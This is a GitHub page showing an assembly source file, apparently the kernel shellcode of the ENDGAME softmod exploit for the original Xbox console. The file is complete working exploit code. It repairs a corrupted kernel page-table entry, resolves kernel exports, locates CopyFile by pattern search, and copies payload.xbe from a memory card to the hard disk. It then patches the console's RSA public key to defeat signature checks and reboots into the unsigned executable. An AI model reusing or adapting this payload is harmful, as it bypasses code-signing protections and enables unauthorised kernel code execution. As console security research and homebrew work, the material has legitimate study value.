-
Notifications
You must be signed in to change notification settings - Fork 15
/
Copy pathshellcode.asm
334 lines (269 loc) · 10.9 KB
/
shellcode.asm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
;
; compile: nasm shellcode.asm
;
; NOTE: something to keep in mind when reading/editing this file is that we
; are executing this page out of write-combining memory. we regularly use
; sfence/wbinvd to try and flush things out and keep everything happy.
;
; otherwise, if you are not careful, there can be.. strange side effects.
;
BITS 32
;
; setup EBP to point at the base of this shellcode payload. this will allow
; us to easily make relative references to shellcode labels, making this
; payload position independent.
;
start:
call $+5
pop ebp
sub ebp, $-1
;
; check if we are the first thread to enter the ENDGAME shellcode page,
; if so, take the 'lock' to prevent the possibility of another thread
; coming through should we get preempted. this isn't totally out of the
; question since we sinkholed a page of kernel .text ...
;
check_lock:
mov eax, 0
mov ebx, 1
lock cmpxchg [ebp+locked], ebx
jz repair_pte
.inf:
hlt
jmp .inf ; trap any threads that could have chased us into this page
;
; repair the kernel .text PTE we corrupted to hijack code execution. please
; note that this must reconcile with the address/values in main.py
;
repair_pte:
mov eax, 0xc0200088
mov dword [eax], 0x22461
invlpg [0x80022000]
wbinv
;
; dynamically resolve kernel exports that the shellcode will use
;
locate_exports:
cld ; clear the direction flag so the string instructions increment the address
mov esi, 80010000h ; kernel base address
mov eax, [esi+3Ch] ; value of e_lfanew (File address of new exe header)
mov ebx, [esi+eax+78h] ; value of IMAGE_NT_HEADERS32 -> IMAGE_OPTIONAL_HEADER32 -> IMAGE_DATA_DIRECTORY -> ibo32 (Virtual Address) (0x02e0)
add ebx, esi
mov edx, [ebx+1Ch] ; value of IMAGE_DIRECTORY_ENTRY_EXPORT -> AddressOfFunctions (0x0308)
add edx, esi ; address of kernel export table
lea edi, [ebp+kexports] ; address of the local kernel export table
.get_exports:
mov ecx, [edi] ; load the entry from the local table
jecxz .done_exports
sub ecx, [ebx+10h] ; subtract the IMAGE_DIRECTORY_ENTRY_EXPORT -> Base
mov eax, [edx+4*ecx] ; load the export by number from the kernel table
test eax, eax
jz .empty ; skip if the export is empty
add eax, esi ; add kernel base address to the export to construct a valid pointer
.empty:
stosd ; save the value back to the local table and increment EDI by 4
jmp .get_exports
.done_exports:
;
; find XAPI's CopyFile() - "55 [8D 6C 24 A0 81 EC 9C 00] ..."
;
find_copy_file:
mov ecx, 0x30000 ; approximate memory address in the dash to start searching forward from
mov edx, 0xA0000 ; approximate memory address in the dash to stop searching
.check_pattern:
inc ecx ; increment the search pointer
cmp ecx, edx ; compare current address with end address
jge .error ; if past the end of the search space, end the search
mov eax, [ecx] ; move 4 bytes from the current address (dash code) into EAX
cmp eax, 0xa0246c8d ; compare with the first part of the egg (reversed due to endianness)
jnz .check_pattern ; if not equal, continue searching
mov eax, [ecx+4] ; move the next 4 bytes from memory into EAX
cmp eax, 0x009cec81 ; compare with the second part of the egg (reversed due to endianness)
jnz .check_pattern ; if not equal, continue searching
dec ecx ; found it! decrement ECX since the pattern is +1 into the func
lea edi, [ebp+CopyFileEx]
mov [edi], ecx
jmp .done_resolution
.error:
jmp .error
.done_resolution:
wbinvd
;
; drop IRQL to PASSIVE because the thread we hijacked may have come in at a
; higher level and this can cause issues when calling kernel exports or XAPI
;
lower_irql:
mov ecx, 0
call dword [ebp+KfLowerIrql]
%ifdef DEBUG
;
; locate the of address our 'helper' allocation in memory. this is purely
; used for debug / testing of ENDGAME -- it helped provide some introspection
; on where our stuff was getting mapped on retail hardware.
;
find_helper:
mov ebx, 0xF1000000 ; where to start searching memory
.loop:
add ebx, 0x1000 ; increment to the next page
push ebx
call [ebp+MmIsAddressValid] ; check if the address is safe to dereference
jz .loop
cmp dword [ebx], 0x71615141 ; does this page start with our magic marker?
jnz .loop
dbg_print:
;
; sprintf(...)
;
sub esp, 0x100 ; make a 256 byte buffer on the stack
mov ecx, esp
push ebx ; arg1 for format string
lea eax, [ebp+fmt_str]
push eax ; format string
push ecx ; buffer
sfence
call [ebp+sprintf]
add esp, 0x0C
;
; OutputDebugString(...)
;
push esp ; Buffer
push 0
mov word [esp+0], ax ; Length
mov word [esp+2], 0x100 ; MaxLength
sfence
mov ecx, esp
mov eax, 1
int 0x2D ; debug print to superio
int3 ; do not remove (required for proper int 2Dh handling)
add esp, 0x108 ; cleanup buffer (0x100) + debug print structure (0x8)
%endif
;
; loop through each memory card drive letter and attempt to copy payload.xbe
; from the MU to E:\payload.xbe. Once a copy succeeds, break from the loop.
;
copy_file:
cmp byte [ebp+mu_path], 'N' ; have we made it through all the memory card slots?
je copy_failure
xor eax, eax
push eax ; - dwCopyFlags
push eax ; - pbCancel
push eax ; - lpData
push eax ; - lpProgressRoutine
lea eax, [ebp+hdd_path]
push eax ; - lpNewFileName
lea eax, [ebp+mu_path]
push eax ; - lpExistingFilename
call dword [ebp+CopyFileEx] ; CopyFileEx(MU_X, HDD, NULL, NULL, NULL, NULL);
inc byte [ebp+mu_path] ; increment drive letter to try copying from the next MU
wbinvd
test eax, eax ; if CopyFileEx(...) did not indicate it copied a file, keep looping
jz copy_file
copy_success:
mov ecx, 0D7h ; red-orange-green (success)
lea eax, [ebp+blink_led]
call eax
jmp make_habibi
copy_failure:
mov ecx, 0A0h ; red blinking (failure)
call blink_led
.inf:
jmp short .inf
;
; modify the RSA key data to make it habibi compatible
;
make_habibi:
mov ebx, [ebp+XePublicKeyData]
or ebx, 0xF0000000
pushf
cli ; disable interrupts
xor dword [ebx+110h], 2DD78BD6h ; alter the last 4 bytes of the public key
mov ecx, cr3 ; invalidate TLB
mov cr3, ecx
popf ; re-enable interrupts
;
; cribbed from past softmods, roughly a re-creation of the following:
; - https://github.com/XboxDev/OpenXDK/blob/master/src/hal/xbox.c#L36
;
launch_xbe:
mov esi, [ebp+LaunchDataPage] ; https://xboxdevwiki.net/Kernel/LaunchDataPage
mov ebx, [esi]
mov edi, 1000h
test ebx, ebx ; check the LaunchDataPage pointer
jnz .mem_ok ; jump if it's not NULL
push edi
call dword [ebp+MmAllocateContiguousMemory] ; otherwise, allocate a memory page
mov ebx, eax ; and store the pointer to the allocated page in EBX
mov [esi], eax ; store the pointer back to the kernel as well
.mem_ok:
push byte 1
push edi
push ebx
call dword [ebp+MmPersistContiguousMemory]
mov edi,ebx
xor eax,eax
mov ecx,400h
rep stosd ; fill the whole LaunchDataPage memory page (4096 Bytes) with zeros
or dword [ebx], byte -1 ; set LaunchDataPage.launch_data_type to 0xFFFFFFFF
mov [ebx+4], eax ; set LaunchDataPage.title_id to 0
lea edi, [ebx+8] ; copy the address of LaunchDataPage.launch_path string
lea esi, [ebp+xbe_str]
push byte xbe_strlen
pop ecx
rep movsb ; copy the executable path to the LaunchDataPage.launch_path
push byte 2 ; 2 stands for ReturnFirmwareQuickReboot
sfence
wbinvd ; flush the CPU caches to ensure all our writes are in main memory
call dword [ebp+HalReturnToFirmware]
.inf:
jmp short .inf
;
; blink LED to demonstrate code execution
;
blink_led:
push ecx
push byte 0
push byte 8
push byte 20h
call [ebp+HalWriteSMBusValue] ; set LED pattern
push byte 1
push byte 0
push byte 7
push byte 20h
call [ebp+HalWriteSMBusValue] ; enable LED override
ret
;
; '.data' section for our shellcode
;
kexports:
HalReturnToFirmware dd 49
HalWriteSMBusValue dd 50
KfLowerIrql dd 161
LaunchDataPage dd 164
MmAllocateContiguousMemory dd 165
MmPersistContiguousMemory dd 178
XePublicKeyData dd 355
; ENDGAME debug helpers
%ifdef DEBUG
MmIsAddressValid dd 174
sprintf dd 362
%endif
; end of local export table
dd 0
xapi:
CopyFileEx dd 0
strings:
mu_path db 'F:\payload.xbe', 0 ; first memory card slot
hdd_path db 'C:\payload.xbe', 0 ; E drive (as aliased in dash)
xbe_str db '\Device\Harddisk0\Partition1\payload.xbe', 0
xbe_strlen equ $-xbe_str
%ifdef DEBUG
fmt_str db 'Spray base 0x%08X', 0x0a, 0x0d, 0
%endif
misc:
locked dd 0
version dd 0x00010000 ; [-unused-].[major].[minor].[patch]
;
; no purpose but to serve as a static marker for the end of our shellcode
;
end:
dd 0xCCCCCCCC